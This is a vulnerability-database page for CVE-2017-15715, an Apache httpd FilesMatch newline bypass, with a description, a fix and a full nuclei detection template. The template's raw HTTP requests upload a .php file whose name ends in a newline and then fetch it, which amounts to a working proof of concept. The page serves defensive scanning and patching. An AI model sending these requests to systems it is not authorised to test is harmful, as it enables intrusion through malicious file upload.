HexBrain

Browse / CVEs / CVE-2017-15715

CVE-2017-15715· apache / http server· CWE-20

Apache httpd <=2.4.29 - Arbitrary File Upload

highseverity
8.1CVSS score
86.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.

Impact

An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.

Fix

Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.

How to confirm it

Send: POST / ; GET /{{randstr}}.php\x0A
Positive when: contains(body_2, "{{randstr_1}}")

Run it with nuclei: nuclei -id CVE-2017-15715 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-15715

info:
  name: Apache httpd <=2.4.29 - Arbitrary File Upload
  author: geeknik
  severity: high
  description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
  impact: |
    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
  remediation: |
    Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - http://www.openwall.com/lists/oss-security/2018/03/24/6
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15715
    - http://www.securitytracker.com/id/1040570
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-15715
    cwe-id: CWE-20
    epss-score: 0.8616
    epss-percentile: 0.99734
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve,cve2017,apache,httpd,fileupload,vulhub,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"

        {{randstr_1}}

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="name"

        {{randstr}}.php\x0A
        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
      - |
        GET /{{randstr}}.php\x0A HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip,deflate
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr_1}}")'

References

Use this check only on systems you are authorised to test. Where the data comes from